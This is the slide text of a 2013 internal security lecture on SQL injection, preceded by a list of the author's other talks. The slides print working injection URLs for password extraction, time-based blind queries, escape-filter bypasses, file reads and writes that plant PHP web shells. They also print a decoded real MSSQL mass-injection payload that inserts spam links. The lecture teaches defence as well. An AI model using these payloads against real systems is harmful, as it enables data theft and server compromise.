[MOPCON2019]從零建立商業技術團隊[MOPCON2019]從零建立商業技術團隊
[MOPCON2019]從零建立商業技術團隊Taien Wang
 
[ModernWeb2019] Taien - 高併發的道與術
[ModernWeb2019] Taien - 高併發的道與術[ModernWeb2019] Taien - 高併發的道與術
[ModernWeb2019] Taien - 高併發的道與術Taien Wang
 
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞Taien Wang
 
百人團隊敏捷轉型暨持續性整合與交付實踐
百人團隊敏捷轉型暨持續性整合與交付實踐百人團隊敏捷轉型暨持續性整合與交付實踐
百人團隊敏捷轉型暨持續性整合與交付實踐Taien Wang
 
淡江Git與GitHub操作介紹
淡江Git與GitHub操作介紹淡江Git與GitHub操作介紹
淡江Git與GitHub操作介紹Taien Wang
 
成長駭客 Growth Hacker
成長駭客 Growth Hacker成長駭客 Growth Hacker
成長駭客 Growth HackerTaien Wang
 
20160105 wnmp & phalcon micro app - part II
20160105   wnmp & phalcon micro app - part II20160105   wnmp & phalcon micro app - part II
20160105 wnmp & phalcon micro app - part IITaien Wang
 
20151229 wnmp & phalcon micro app - part I
20151229 wnmp & phalcon micro app - part I20151229 wnmp & phalcon micro app - part I
20151229 wnmp & phalcon micro app - part ITaien Wang
 
我編程.我快樂
我編程.我快樂我編程.我快樂
我編程.我快樂Taien Wang
 
Scrum深入淺出
Scrum深入淺出Scrum深入淺出
Scrum深入淺出Taien Wang
 
淡江大學 - ios+android+html5(javascript)
淡江大學 - ios+android+html5(javascript)淡江大學 - ios+android+html5(javascript)
淡江大學 - ios+android+html5(javascript)Taien Wang
 
淡江大學 - 網站開發應用技術及雲端應用技術
淡江大學 - 網站開發應用技術及雲端應用技術淡江大學 - 網站開發應用技術及雲端應用技術
淡江大學 - 網站開發應用技術及雲端應用技術Taien Wang
 
PHP更有效率的除錯 - XDebug
PHP更有效率的除錯 - XDebugPHP更有效率的除錯 - XDebug
PHP更有效率的除錯 - XDebugTaien Wang
 

Mehr von Taien Wang (13)

[MOPCON2019]從零建立商業技術團隊
[MOPCON2019]從零建立商業技術團隊[MOPCON2019]從零建立商業技術團隊
[MOPCON2019]從零建立商業技術團隊
 
[ModernWeb2019] Taien - 高併發的道與術
[ModernWeb2019] Taien - 高併發的道與術[ModernWeb2019] Taien - 高併發的道與術
[ModernWeb2019] Taien - 高併發的道與術
 
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
[ModernWeb2018] Web3.0 區塊鏈 DApp + 智能合約開發:你必要挑戰的坑坑洞洞
 
百人團隊敏捷轉型暨持續性整合與交付實踐
百人團隊敏捷轉型暨持續性整合與交付實踐百人團隊敏捷轉型暨持續性整合與交付實踐
百人團隊敏捷轉型暨持續性整合與交付實踐
 
淡江Git與GitHub操作介紹
淡江Git與GitHub操作介紹淡江Git與GitHub操作介紹
淡江Git與GitHub操作介紹
 
成長駭客 Growth Hacker
成長駭客 Growth Hacker成長駭客 Growth Hacker
成長駭客 Growth Hacker
 
20160105 wnmp & phalcon micro app - part II
20160105   wnmp & phalcon micro app - part II20160105   wnmp & phalcon micro app - part II
20160105 wnmp & phalcon micro app - part II
 
20151229 wnmp & phalcon micro app - part I
20151229 wnmp & phalcon micro app - part I20151229 wnmp & phalcon micro app - part I
20151229 wnmp & phalcon micro app - part I
 
我編程.我快樂
我編程.我快樂我編程.我快樂
我編程.我快樂
 
Scrum深入淺出
Scrum深入淺出Scrum深入淺出
Scrum深入淺出
 
淡江大學 - ios+android+html5(javascript)
淡江大學 - ios+android+html5(javascript)淡江大學 - ios+android+html5(javascript)
淡江大學 - ios+android+html5(javascript)
 
淡江大學 - 網站開發應用技術及雲端應用技術
淡江大學 - 網站開發應用技術及雲端應用技術淡江大學 - 網站開發應用技術及雲端應用技術
淡江大學 - 網站開發應用技術及雲端應用技術
 
PHP更有效率的除錯 - XDebug
PHP更有效率的除錯 - XDebugPHP更有效率的除錯 - XDebug
PHP更有效率的除錯 - XDebug
 

伺服器端攻擊與防禦I

  • 1. Taien內部資安講座 IV 伺服器端攻擊與防禦I 2013.03.07 @ Hiiir Inc. Taien Wang<taien_wang@hiiir.com> 英屬維京群島商時間軸科技股份有限公司新創事業部
  • 2. 1020307 伺服器端攻擊與防禦I - 大綱 • SQL Injection – 攻擊技巧 • 判斷是否有弱點 • 常用函數 • UNION • 繞過跳脫字元 – ASCII編碼 – 16進位 – 雙位元組跳脫技巧 – SQL Blind Injection • Time-Based Blind SQL Injection – SQL Column Truncation
  • 3. SQL Injection – 簡介 • Rfp, “NT Web Technology Vulnerabilities”, Phrack, 1998 • 維京百科 – SQL攻擊(SQL injection,中國大陸稱作SQL注入攻擊),簡稱隱碼 攻擊,是發生於應用程式之資料庫層的安全漏洞。簡而言之,是在輸入 的字串之中夾帶SQL指令,在設計不良的程式當中忽略了檢查,那麼這 些夾帶進去的指令就會被資料庫伺服器誤認為是正常的SQL指令而執行, 因此遭到破壞。
  • 4. SQL Injection - 範例資料庫的資料
  • 5. SQL Injection - 請試想這段程式碼有什麼問題
  • 6. SQL Injection攻擊技巧 – 簡易嘗試是否有弱點 • http://www.hackdemo.com/getUser.php?id=1 • http://www.hackdemo.com/getUser.php?id= • http://www.hackdemo.com/getUser.php?id=999999.9 • http://www.hackdemo.com/getUser.php?id=1' • http://www.hackdemo.com/getUser.php?id=1+and+1=1 • http://www.hackdemo.com/getUser.php?id=1+and+1=2
  • 7. SQL Injection攻擊技巧 – 空格與註解 • 關鍵字大小寫混雜 • 註解  #(%23), /*, -- • 空格  +, /**/ URL編碼 用途 %09 horizontal tab %0a line feed %0b vertical tab %0c form feed %0d carriage return %20 space
  • 8. SQL Injection攻擊技巧 - 猜解資料常用函數 函數 功能 LENGTH(str) 返回字串長度 LEFT(str,len) 返回某字串開頭開始的len最左字串 RIGHT(str,len) 返回某字串開頭開始的len最右字串 SUBSTRING(str,pos,len) 取得某字串的子字串 SUBSTR(str,pos,len) 為SUBSTRING同義詞 MID(str,pos,len) 為SUBSTRING同義詞 CHAR(N,... [USING charset]) 其返回值為一個包含這些整數代碼值的字串 HEX(N_or_S) 如果N或S是一個數字,則返回16進位N的字串 ASCII(str) 返回值為字串str的最左邊數值 CONCAT(str1,str2,...) 返回值為所有連接參數產生的字串 NAME_CONST(name,value) 返回一個定值。當月來產生一個結果集合列時, NAME_CONST()促使該列使用定義名稱 5.1後限制僅能使用CONST的變數 …
  • 9. SQL Injection攻擊技巧 - 相關系統函數 函數 功能 LOAD_FILE(file_name) 讀取檔案 INTO OUTFILE '/var/www/html/back.php' 輸出檔案 VERSION() 返回MySQL伺服器版本 DATABASE() 目前使用資料庫名稱 USER() 返回目前MySQL用戶與主機名稱 SYSTEM_USER() 與USER()同義 SESSION_USER() 與USER()同義 SCHEMA() 與DATABASE()同義 CURRENT_USER() 返回當前被驗證的用戶名與主機名組合,可能與 USER()值有所不同 @@DATADIR 讀取資料庫路徑 @@BASEDIR 資料庫安裝路徑 …
  • 10. SQL Injection攻擊技巧 – 讀檔注意事項 • 欲讀取文件必須在伺服器上 • 必須指定文件完整的路徑 • 必須有權限讀取並且文件必須完全可讀 • 欲讀取文件必須小於 max_allowed_packet
  • 11. SQL Injection攻擊技巧 – UNION • PHP+MySQL未支援多指令查詢,利用聯集查詢UNION – 有弱點的SQL語法,沒有引號的參數(以PHP為例) • SELECT * FROM `member` WHERE `id` =$id – 沒有引號攻擊範例 • http://www.hackdemo.com/getUser.php?id=1+and+1=2+UNI ON+SELECT+1,2,3,4# – 實際執行語法 • SELECT * FROM `member` WHERE `id` =1 AND 1=2 UNION SELECT 1,2,3,4#
  • 12. SQL Injection攻擊技巧 – UNION • PHP+MySQL未支援多指令查詢,利用聯集查詢UNION • 有弱點的SQL語法,有引號的參數(以PHP為例) • SELECT * FROM `member` WHERE `name` like '" . $name . "%' • 沒有引號攻擊範例 • http://www.hackdemo.com/searchUser.php?name=h%'/**/a nd/**/1=2/**/union/**/select/**/1,2,3,user()%23 • 實際執行語法 • SELECT * FROM `member` WHERE `name` like 'h%'/**/and/**/1=2/**/union/**/select/**/1,2,3,user()#%'
  • 13. SQL Injection攻擊技巧 - 成功控制語法
  • 14. SQL Injection攻擊技巧 – 猜解資料 • 取得長度 – http://www.hackdemo.com/getUser.php?id=1+AND+LENGTH(PA SSWORD)=1# – … – http://www.hackdemo.com/getUser.php?id=1+AND+LENGTH(PA SSWORD)=7# • 猜解資料 – http://www.hackdemo.com/getUser.php?id=1+AND+RIGHT(PAS SWORD,1)='a'# – … – http://www.hackdemo.com/getUser.php?id=1+AND+RIGHT(PAS SWORD,1)='w'#
  • 15. SQL Injection攻擊技巧 – 讀寫檔案 • 讀資料寫檔案 – http://www.hackdemo.com/getUser.php?id=1+into+outfile+'D:/W ebsite/www.hackdemo.com/member.txt' • 寫後門 – http://www.hackdemo.com/getUser.php?id=1+AND+1=2+UNIO N+SELECT+%22%3C?php+system($_GET['cmd']);?%3E%22,2,3,4+i nto+outfile+'D:/Website/www.hackdemo.com/cmd.php'
  • 17. SQL Blind Injection • SQL盲注入(SQL Blind Injection),也是一種SQL Injection的類型。一般 SQL Injection仰賴出錯的相關訊息建構攻擊語法,而盲注入完全仰賴語法 執行的對(true)錯(false) • SQL Blind Injection – 一般盲注入 – Time-Based Blind SQL Injection
  • 18. Time-Based Blind SQL Injection (1/2) • 透過時間的延遲來判斷該SQL語法是否執行成功 • 技巧 – 內建函數 • BENCHMARK(COUNT, EXPR) • SLEEP(seconds) – MySQL >= 5 – 創建較花時間的語法(heavy queries)
  • 19. Time-Based Blind SQL Injection - 使用 heavy queries (2/2)
  • 20. Time-Based Blind SQL Injection - 透過時間 延遲猜解資料庫名稱 • http://www.hackdemo.com/getUserLash.php?id=1+UNION+SEL ECT+IF(SUBSTRING(db,1,1)=CHAR(1),BENCHMARK(5000000,E NCODE('ENCODE','5s')),NULL),2,3,4+FROM+(SELECT+DATABAS E()+as+db)+AS+tb • … • http://www.hackdemo.com/getUserLash.php?id=1+UNION+SEL ECT+IF(SUBSTRING(db,1,1)=CHAR(104),BENCHMARK(5000000, ENCODE('ENCODE','5s')),NULL),2,3,4+FROM+(SELECT+DATABA SE()+as+db)+AS+tb
  • 21. SQL Injection攻擊技巧 - 繞過跳脫字元 • ACSII編碼 – ASCII(), CHAR() – 單一 • CHAR(68) – 多個 • CHAR(68, 58, 92) • 16進位編碼 – HEX() – 0x443A5C • 雙位元組跳脫技巧
  • 22. SQL Injection攻擊技巧 - 猜解資料(繞過跳脫) • 猜解欄位 – http://www.hackdemo.com/getUser.php?id=1+AND+1=2+UNIO N+SELECT+1,2,3,4+FROM+user-- – http://www.hackdemo.com/getUser.php?id=1+AND+1=2+UNIO N+SELECT+1,2,3,4+FROM+member-- • 猜解欄位資料 – http://www.hackdemo.com/getUserLash.php?id=1+AND+RIGHT (PASSWORD,1)=char(0) – … – http://www.hackdemo.com/getUserLash.php?id=1+AND+RIGHT (PASSWORD,1)=char(119)
  • 23. SQL Injection攻擊技巧 - 讀取資料(繞過跳脫) • 讀資料寫檔案 – http://www.hackdemo.com/getUserLash.php?id=1+AND+1= 2+UNION+SELECT+1,2,3,load_file(char(68,58,92,87,101,98, 115,105,116,101,92,119,119,119,46,104,97,99,107,100,101 ,109,111,46,99,111,109,92,103,101,116,85,115,101,114,46 ,112,104,112))-- – http://www.hackdemo.com/getUserLash.php?id=1+AND+1= 2+UNION+SELECT+1,2,3,load_file(0x443A5C576562736974 655C7777772E6861636B64656D6F2E636F6D5C636F6E6669 672E706870)--
  • 24. SQL Injection攻擊技巧 – 寫檔案(無法繞過引號 限制) 1. 找到phpMyAdmin 2. 遠端MySQL mysql> use xssdb; mysql> set @a=0x73656C656374203078334333463730363837303230343036353736363136433238323 435463530344635333534354232373633364436343237354432393342334633452066726F6D 20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70 687027; mysql> prepare cmd from @a; mysql> execute cmd; @a為 select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from xss limit 1 into outfile 'C:/shell.php'; 寫入檔案為 <?php @eval($_POST['cmd']);?>
  • 25. SQL Injection攻擊技巧 - 雙位元組跳脫技巧 (1/3) • 透過注入的編碼與反斜線/(%5c)重組產生:字',繞過跳脫字元的限制 • 情境 – 跳脫字元處理 • addslashes • mysql_escape_string • php.in – magic_quotes_gpc 開啟 – 採用BIG5或GBK編碼 • set names gbk, set names big5
  • 26. SQL Injection攻擊技巧 - 雙位元組跳脫技巧 (2/3) • 中文語系文字以兩個位元組表示 – Big5: • 高位元組: 0x81-0xFE;低位元組: 0x40-0x7E、0xA1-0xFE – GBK : • 前位元組: 0x81-0xFE;後位元組: 0x40-0x7E – GB2312: • 前位元組: 0xB0-0xF7;後位元組: 0xA0-0xFE – 攻擊字元: %BF, %CC, %D5…
  • 27. SQL Injection攻擊技巧 -雙位元組跳脫技巧 (3/3) • 有引號的參數繞過跳脫 – http://www.hackdemo.com/searchUserLash.php?name=h% %B5'+AND+1=2+UNION+SELECT+1,2,3,4%23 – http://www.hackdemo.com/searchUserLash.php?name=h% %CC'+AND+1=2+UNION+SELECT+1,2,3,4%23 – http://www.hackdemo.com/searchUserLash.php?name=h% %d5'+AND+1=2+UNION+SELECT+1,2,3,4%23
  • 28. SQL Column Truncation – 簡介(1/3) • MySQL中 SQL mode – 沒有開啟 STRICT_ALL_TABLES • 使用者新增超過長度的資料會出現警告提示 • 但資料還是會新增 – 開啟 STRICT_ALL_TABLES • 使用者新增超過長度的資料會出現提示 • 出現ERROR 1406, 該資料不會成功新增 • 慘案 – 2008-09-07 • WordPress 2.6.1 SQL Column Truncation Vulnerability
  • 29. SQL Column Truncation - 效果(2/3)
  • 30. SQL Column Truncation - 防禦方案(3/3) • 在字串中不該有空白的主動清除 – 如帳號類資訊 • 在 SELECT 資料時加上 BINARY 參數 • 在 MySQL 設定預設以 BINARY 查詢 • 在 MySQL 開啟 STRICT_ALL_TABLES – 超過欄位長度會出現 ERROR 而非出現 WARNING – 新增資料為避免發生錯誤, 可能需在新增修改加入額外檢查
  • 31. SQL Injection – 延伸思考 • INSERT 與 UPDATE 的攻擊可能發生嗎? • NoSQL 沒有 SQL Injection? • 其他攻擊利用 – Deep Blind Injection – Error-Based Injection • Duplicate Error • Function – information_schema – 使用者自訂函數(User-Defined Functions) – 觸發(Trigger)
  • 32. SQL Injection – 自動化工具 • Havij • Pangolin • w3af • Jsky • SQLmap • …
  • 33. 正確地防禦SQL Injection • 最低權限原則 • 使用預先編譯敘述 • 使用預存函數 • 使用UTF8避免使用BIG5或GBK • 檢查資料型態與強制轉型 – bool settype(mixed &$var, string $type) – intval, doubleval... • 使用安全函數 – OWASP ESAPI • MySQLCodec
  • 34. MSSQL實際案例 - 116jurist.ru自動化注入(1/4) • 2012.12.xx 10:03:31 • Serno=51+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f66 66204445434c415245204054205641524348415228323535292c404320564152434841522832353529204 445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e544142 4c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d4 12e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865 726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74 657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e475448 3e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e746162 6c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f7220464554434 8204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c45284040 46455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275 d20534554205b272b40432b275d3d535542535452494e47285b272b40432b275d2c20312c204348415249 4e4445582827273c2f7469746c653e3c27272c5b272b40432b275d29202d203129207768657265205b272b 40432b275d206c696b65202727253c2f7469746c653e3c252727202729204645544348204e455854204652 4f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f43 7572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)--
  • 35. MSSQL實際案例 - 116jurist.ru自動化注入(2/4) • 2012.12.xx 10:03:33 • Serno=51+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f66 66204445434c415245204054205641524348415228323535292c404320564152434841522832353529204 445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e544142 4c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d4 12e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865 726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74 657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e475448 3e323020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e746162 6c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f7220464554434 8204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c45284040 46455443485f5354415455533d302920424547494e20455845432827414c544552205441424c45205b272 b40542b275d20414c54455220434f4c554d4e205b272b40432b275d207661726368617228383030302920 4e4f54204e554c4c2729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544 f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f434154452054616 26c655f437572736f72+as+varchar(8000))+exec(@s)--
  • 36. MSSQL實際案例 - 116jurist.ru自動化注入(3/4) • 2012.12.xx 10:03:44 • Serno=51+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f66 66204445434c415245204054205641524348415228323535292c404320564152434841522832353529204 445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e544142 4c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d4 12e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865 726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74 657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e475448 3e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e746162 6c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f7220464554434 8204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c45284040 46455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275 d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b 275d292b27273c2f7469746c653e3c7374796c653e2e613474777b706f736974696f6e3a6162736f6c75746 53b636c69703a726563742834353770782c6175746f2c6175746f2c3435377078293b7d3c2f7374796c653e 3c64697620636c6173733d613474773e3c6120687265663d687474703a2f2f3131366a75726973742e7275 203efef0e8e4e8f7e5f1eae8e52df3f1ebf3e3e82deceef1eae2e03c2f613e3c2f6469763e27272027292046455 44348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c 4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varc har(8000))+exec(@s)--
  • 37. MSSQL實際案例 - 116jurist.ru自動化注入解碼 (4/4) • set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>10 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=SUBSTRING(['+@C+'], 1, CHARINDEX(''</title><'',['+@C+']) - 1) where ['+@C+'] like ''%</title><%'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor • • set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>20 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('ALTER TABLE ['+@T+'] ALTER COLUMN ['+@C+'] varchar(8000) NOT NULL') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor • • set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>80 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.a4tw{position:absolute;clip:rect(457px,auto,auto,457px);}< /style><div class=a4tw><a href=http://116jurist.ru>þðèäè÷åñêèå-óñëóãè-ìîñêâà</a></div>'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
  • 38. 參考資料 • 吳翰清, 網路竟然這麼危險(白帽子讲Web安全), 2012 • MySQL, String Functions, 5.1 • MySQL, Miscellaneous Functions, 5.1 • MySQL/PHP 对单引号转义时load_file/outfile 生成一句话 • Shazin Sadakath, Time Based SQL Injection using heavy queries in MySQL • Stefan Esser, MySQL and SQL Column Truncation Vulnerabilities, 2008